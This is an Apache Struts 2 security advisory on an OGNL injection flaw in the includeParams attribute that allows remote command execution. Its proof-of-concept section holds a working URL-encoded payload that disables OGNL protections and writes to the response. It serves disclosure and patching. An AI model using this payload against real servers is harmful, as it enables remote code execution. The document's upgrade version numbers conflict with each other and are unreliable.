Summary
Excerpt |
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A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution |
Who should read this | All Struts 2 developers |
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Impact of vulnerability | Remote command execution |
Maximum security rating |
Critical | |
Recommendation | Developers should immediately upgrade to at least Struts 2.3.14. |
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Affected Software | Struts 2.0.0 - Struts 2.3.14.1 |
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Reporter | The Struts Team |
CVE Identifier |
Problem
Both the s:url and s:a tag provide an includeParams attribute.
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The second evaluation happens when the URL/A tag tries to resolve every parameters present in the original request.
This lets malicious users put arbitrary OGNL statements into any request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.
Proof of concept
Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter:
Code Block includeParams="all"
Such that the line will be something look like this:
Code Block xml xml <s:url id="url" action="HelloWorld" includeParams="all">
(it works also with includeParams="get").
- Run struts2-blank app
- Open the url: http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
(this is the shortened version http://goo.gl/lhlTl)
As you will notice, in this case, there is no way to escape/sanitize the fakeParam, since it's not an expected parameter.
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Warning |
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It is strongly recommended to upgrade to at least Struts 2.3.14.12, which contains the corrected OGNL and XWork library. |
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